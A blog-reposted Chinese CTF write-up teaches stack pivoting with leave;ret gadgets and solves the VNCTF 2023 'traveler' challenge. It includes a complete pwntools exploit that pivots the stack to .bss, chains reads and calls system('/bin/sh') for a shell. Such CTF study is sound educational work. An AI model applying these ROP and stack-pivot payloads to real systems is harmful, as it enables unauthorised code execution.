CTF-PWN-栈溢出-中级ROP-【栈迁移】

news2024/11/15 10:09:11

文章目录

  • 栈迁移
    • 具体流程
  • VNCTF 2023 traveler libc-2.27
  • 检查
  • 源码
    • main函数![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/386c35c30f854434ae43667b9473c58a.png)
    • 全局变量地址
    • 局部变量地址
  • PIE保护
    • 开启PIE
    • 关闭PIE
  • 思路
  • exp

栈迁移参考
栈迁移参考

栈迁移

顾名思义,就是将当前的栈帧迁移到其他位置,即rsp和rbp改变到某些位置去
核心思想:先向某个内存区域写入gadget,然后通过第一次leave_ret修改rbp为之前溢出保存的rbp,ret再执行leave_ret,然后再将rsp的值修改为了rbp,然后再pop rbp将写入gadget的内存区域的前八个字节作为新的rbp,ret再执行写入gadget的内存地址+8处的指令。(多次栈迁移就在写入gadget的内存区域的前八个字节作为待会要迁移到的rsp的地址,然后在最后部分也是leave_ret,此时记得leave_ret之前仍需提前构造好待会要迁移到的rsp的地址的gadget内容。否则leave_ret后虽然迁移过去了,但是ret可能执行不了)

具体流程

  • leave相当于mov rsp,rbp pop rbp;
  • ret相当于pop rip;
  • mov rsp,rbp 将rbp的值赋值给rsp寄存器
  • pop rbp 把栈顶的值弹到rbp寄存器里

首先是确保可以栈溢出将 ebp,ret_addr 都可以覆盖

  1. 每个函数最后会执行leave;ret,此时会将rbp的值赋值给rsp,然后将栈顶的值(此时栈顶保存的是之前保存的rbp)给rbp
  2. 当溢出修改原来保存的rbp后,当执行leave后,rbp被修改为之前溢出修改的rbp,此时返回地址也应在之前就溢出修改为leave;ret的地址
  3. 当执行返回地址时,此时会将rsp也移动到修改后的rbp的位置,之后将此时rsp的栈顶的内容弹出给rbp,然后rbp被再次修改,然后再执行此时的栈顶的内容指向的位置

总结

  • . 第一次leave;ret;修改rbp为之前溢出保存的rbp
  • . 第二次leave;ret;此时修改rsp为修改后的rbp的值,同时会再次pop修改rbp的内容。此时ret指令会指向当前栈顶的内容指向的地址的指令(这样可以多次栈迁移只需保证leave时pop时的内容为需要去的位置,然后最后只需leave;ret,便可继续执行对应位置的rop链)

VNCTF 2023 traveler libc-2.27

检查

可栈溢出
在这里插入图片描述

源码

main函数在这里插入图片描述

存在明显的栈溢出,并且只能溢出16个字节,即只能修改保存的rbp值和返回地址

全局变量地址

在这里插入图片描述

局部变量地址

在这里插入图片描述

PIE保护

PIE保护会修改程序允许时候的加载地址,但程序内部各个段之间的位置的相对偏移是不会变的,即可以认为变了程序放进内存的起始地址,只变了起点,然后在接着把其放进去,程序本身没有变化

所以说如果开启了PIE,那么程序内部是没有变化的,但由于基地址改变,所以各个段的位置都会在原本的程序的相对偏移之上再加上起始地址

开启PIE

在这里插入图片描述

关闭PIE

在这里插入图片描述
由于此时本身traveler文件是关闭PIE的,我可以接到IDA中去找gadget,并且全部变量的位置也可以到IDA中找

思路

此时程序中有system函数且关闭PIE,那么可以直接调用IDA中中对应system的地址,如果可执行程序中没有system函数可能需要libc基地址+system偏移。题目既然给了system函数,那就用吧

参数/bin/sh的解决,反正程序肯定需要栈迁移,不然溢出的范围太少,不能添入一些构造参数的gadget和函数的gadget,所以肯定到迁移的地方填充gadget。关于/bin/sh的地址我们可以在全局变量处输入/bin/sh,由于知道全局变量的地址,所以可以知道/bin/sh的地址

注意
此时发现出现错误,原因是RSP对应的位置是不能写的
在这里插入图片描述
此时该部分地址只允许读,不允许写,此时操作需要写,所以报错
在这里插入图片描述
此时可以通过抬高在调用system之前抬高RSP的值避免出现这种情况,需要再次修改RSP,则需再次栈迁移

结合调用system时的RSP和此时报错时的RSP,此时RSP减少了0x300多,所以保险起见,准备将RSP再次迁移到为+0x400的位置,然后发现还是会出现某些bug,为了以防万一,还是尽可能往大调吧

首先,修改保存的rbp为bss上能够在main函数结束前写入rop链的位置,然后返回地址是leave_re从而使得此时能够将rsp移动到已经写好rop链的地方。

这里最终修改rbp为自己溢出的保存的rbp然后再执行leave_ret是在main函数结束时,此时在main函数结束前还需执行一个read函数往bss段上写入数据,此时写入相应的rop链,此时第一个值为待会要给rbp修改的新值,然后是一系列gadget。由于之前说过执行system时候,rsp不能过低。而如果此时的gadget直接是system的gadget,那么rsp较低,会出现之前的情况,所以我们还需栈迁移一次,修改rsp的值,然后在执行相应的rop链。所以此时的gadget应该是能够进行栈迁移的,即为待会要改到的rsp值+修改参数的gadget+read函数+leave_ret,此时由于想直接用程序内的gadget来构造参数,此时可以以原函数开始准备read函数调用的地址作为调用read函数地址,此时可以参数构造就不要担心需要找gadget或者直接利用read函数后rdi rsi rdx没有被修改的特点从而只修改rsi即可,正好存在这样的gadget(main函数ret结束前调用的最后一个函数是向bss段输入数据)。此时我选择第二种,输入为 bss上的大地址+pop_rsi_ret+参数+read_plt+leave_ret

但此时出现一个问题此时对应的输入是大于0x28的,emmmm所以怎么办呢?

如果此时能够少一个8个字节的项就好了,由于pop_rsi_ret+参数+read_plt+leave_ret都不能少,这样才能成功栈迁移并往bss上的大地址写入rop链。所以如果能再输入一次然后只用输入这些gadget即可,同时还要保证rop链执行的连续

这个时候有个很精彩的方法就是,先read,往read下一条指令的位置写入gadget,然后read结束后,也就执行之前写入的gadget了,因为read函数里要执行ret时,内容已经写入对应位置了。注意这里不能调用read的函数不要用call read,否则会压入一个返回地址,这个返回地址是call read指令部分的下一条地址,这样就没办法成功构成rop链了。

所以此时第一次输入为bss上的大地址+pop_rsi_ret+参数+read_plt (此时的参数是第二次输入的地址)
然后第二次输入为pop_rsi_ret+参数+read_plt+leave_ret(此时的参数是 bss上的大地址)

最后再输入的gadget就是/bin/sh\x00+pop_rdi_ret+参数+system函数地址(参数为/bin/sh的地址)

exp

from pwn import*
context(os="linux",arch="amd64",log_level="debug")
t=process("./traveler")
elf=ELF("./traveler")
#gdb.attach(t,"b ,main")
bss_addr=0x00000000004040A0
pop_rdi=0x00000000004012c3
system_addr=0x0000000000401090
pop_rsi_r15_ret = 0x004012c1
leave_ret=0x0000000000401253
read_addr=elf.plt["read"]
ret = 0x40101a

payload=b"a"*0x20+p64(bss_addr)+p64(leave_ret)
t.sendafter(b"who r u?\n",payload)

payload=p64(bss_addr+0x700)+p64(pop_rsi_r15_ret)+p64(bss_addr+0x28)+p64(0)+p64(read_addr) #分两次的原因原来的rdx是0x28,如果整合到一个gadget,需要多八个字节,所以分两次read
t.sendafter(b"How many travels can a person have in his life?\n",payload)

payload=p64(pop_rsi_r15_ret)+p64(bss_addr+0x700)+p64(0)+p64(read_addr)+p64(leave_ret)
t.send(payload)
payload=b"/bin/sh\x00"+p64(pop_rdi)+p64(bss_addr+0x700)+ p64(ret) +p64(system_addr)
t.send(payload)                  


t.interactive()

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1369466.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数模学习day10-聚类模型

说明,本文部分图片和内容源于数学建模交流公众号 目录 K-means聚类算法 K-means聚类的算法流程: 图解 算法流程图 评价 K-means算法 基本原则 算法过程 Spss软件操作 K-means算法的疑惑 系统(层次)聚类 算法流程 Sp…

LVGL 主题

LVGL 主题 修改样式的一点个人心得 lvgl的样式众多,本人是记不住的,用的时候可以快速查找即可 查看官方例子 查看官方例子可以快速了解组件的基础样式 使用官方的 SquareLineStudio 软件,配置出想要的效果,再生成参考代码 Squ…

linux系统基础知识-基础IO

IO 概念引入位图的概念IO的系统调用函数openwriteread()close简单使用样例: 文件描述符fd默认文件流stdin/stdout/stderr文件描述符的分配规则 重定向的概念输出重定向输入重定向追加重定向dup2()系统调用总结 文件缓冲区深入理解缓冲区的概念输出缓冲区部分代码解释…

基于ssm的儿童影楼拍摄管理系统的设计与实现+vue论文

基于SSM的儿童影楼拍摄管理系统的设计与实现 摘 要 当下,正处于信息化的时代,许多行业顺应时代的变化,结合使用计算机技术向数字化、信息化建设迈进。以前相关行业对于商品信息的管理和控制,采用人工登记的方式保存相关数据&…

实时云渲染是什么?它的应用方向有哪些?

实时云渲染有三个关键词,"实时"、"云"和"渲染",它们分别表示:同步、云服务器计算和图像生成过程,简单来说就是使用第三方平台快速完成渲染任务,它有两个实用方向: 一、实时渲…

4.4 媒资管理模块 - 分布式任务处理介绍、视频处理技术方案

媒资管理模块 - 视频处理 文章目录 媒资管理模块 - 视频处理一、视频转码1.1 视频转码介绍1.2 FFmpeg 基本使用1.2.1 下载安装配置1.2.2 转码测试 1.3 工具类1.3.1 VideoUtil1.3.2 Mp4VideoUtil1.3.3 测试工具类 二、分布式任务处理2.1 分布式任务调度2.2 XXL-JOB 配置执行器 中…

Master01节点免密钥登录其他节点

1、执行命令 ssh-keygen -t rsa,一直敲回车 2、for i in k8s-master01 k8s-node01 k8s-node02;do ssh-copy-id -i .ssh/id_rsa.pub $i;done 输入yes和对应节点密码

PostGIS教程学习十九:基于索引的聚簇

PostGIS教程学习十九:基于索引的聚簇 数据库只能以从磁盘获取信息的速度检索信息。小型数据库将完全位于于RAM缓存(内存),并摆脱物理磁盘访问速度慢的限制。但是对于大型数据库,对物理磁盘的访问将限制数据库的信息检…

在VS Code中安装Copilot与安装其他扩展的方法一样,只需简单几步

GitHub Copilot是由OpenAI和GitHub开发的人工智能工具。它的目的是通过自动完成代码来帮助开发人员使用集成开发环境(IDE),如Visual Studio Code。它目前仅作为技术预览版提供,因此只有在候补名单上被认可的用户才能访问它。对于用…

纯血鸿蒙「扩圈」100天,酝酿已久的突围

坦白讲,去年参加华为开发者大会看到HarmonyOS NEXT(仅运行鸿蒙原生应用,所以也称作「纯血鸿蒙」)的时候,小雷也没料想到鸿蒙原生应用生态的发展速度会如此之快。 9月25日,华为正式对外宣布启动HarmonyOS NE…

PTA✨C语言 就不告诉你

7-7 就不告诉你 分数 15 全屏浏览题目 切换布局 作者 CHEN, Yue 单位 浙江大学 做作业的时候,邻座的小盆友问你:“五乘以七等于多少?”你应该不失礼貌地围笑着告诉他:“五十三。”本题就要求你,对任何一对给定的正…

2024年美国大学生数学建模思路 - 复盘:人力资源安排的最优化模型

文章目录 0 赛题思路1 描述2 问题概括3 建模过程3.1 边界说明3.2 符号约定3.3 分析3.4 模型建立3.5 模型求解 4 模型评价与推广5 实现代码 建模资料 0 赛题思路 (赛题出来以后第一时间在CSDN分享) https://blog.csdn.net/dc_sinor?typeblog 1 描述 …

[前车之鉴] SpringBoot原生使用Hikari数据连接池升级到动态多数据源的深坑解决方案 RocketMQ吞掉异常问题排查

文章目录 背景说明蒙蔽双眼口说无凭修补引发的新问题解决配置问题 本地监控佐证万法归元 背景说明 当前业务场景我们使用原生SpringBoot整合Hikari数据源连接池提供服务,但是近期业务迭代需要使用动态多数据源,很自然想到dynamic-source,结果…

Python教程37:使用turtle画一个戴帽子的皮卡丘

---------------turtle源码集合--------------- Python教程36:海龟画图turtle写春联 Python源码35:海龟画图turtle画中国结 Python源码31:海龟画图turtle画七道彩虹 Python源码30:海龟画图turtle画紫色的小熊 Python源码29&a…

linux 系统安全及应用

一、账号安全基本措施 1.系统账号清理 1.将用户设置为无法登录 /sbin/nologin shell——/sbin/nologin却比较特殊,所谓“无法登陆”指的仅是这个用户无法使用bash或其他shell来登陆系统而已,并不是说这个账号就无法使用系统资源。举例来说,…

JAVA基础学习笔记-day15-File类与IO流

JAVA基础学习笔记-day15-File类与IO流 1. java.io.File类的使用1.1 概述1.2 构造器1.3 常用方法1、获取文件和目录基本信息2、列出目录的下一级3、File类的重命名功能4、判断功能的方法5、创建、删除功能 2. IO流原理及流的分类2.1 Java IO原理2.2 流的分类2.3 流的API 3. 节点…

SNP浅谈SAP系统增强及二次开发

SAP 系统增强和二次开发是指在 SAP 系统的基础上,对现有功能进行扩展和增强,以满足特定业务需求。增强和二次开发可以通过不同的方法实现,包括: ■ 数据集成:通过创建数据接口,实现 SAP 系统与其他系统之间…

视频智能分析/边缘计算AI智能分析网关V4区域入侵检测算法如何配置?

边缘计算AI智能分析网关(V4版)部署了近40种AI算法模型,支持对接入的视频图像进行人、车、物、行为等实时检测分析,并上报识别结果,并能进行语音告警播放。算法配置后,即可对监控视频流进行实时检测&#xf…

基于 Canvas 的多行文本溢出方案

说到文本溢出,大家应该都不陌生,中文网络上的文章翻来覆去就是下面3种方法: 单行文本溢出 这是日常开发中用的最多的,核心代码如下: p {width: 300px;overflow: hidden; white-space: nowrap; /*文本不会换行*/text…

基于模块自定义扩展字段的后端逻辑实现(二)

目录 一:创建表 二:代码逻辑 上一节我们详细讲解了自定义扩展字段的逻辑实现和表的设计,这一节我们以一个具体例子演示下,如何实现一个订单模块的自定义扩展数据。 一:创建表 订单主表: CREATE TABLE t_order ( …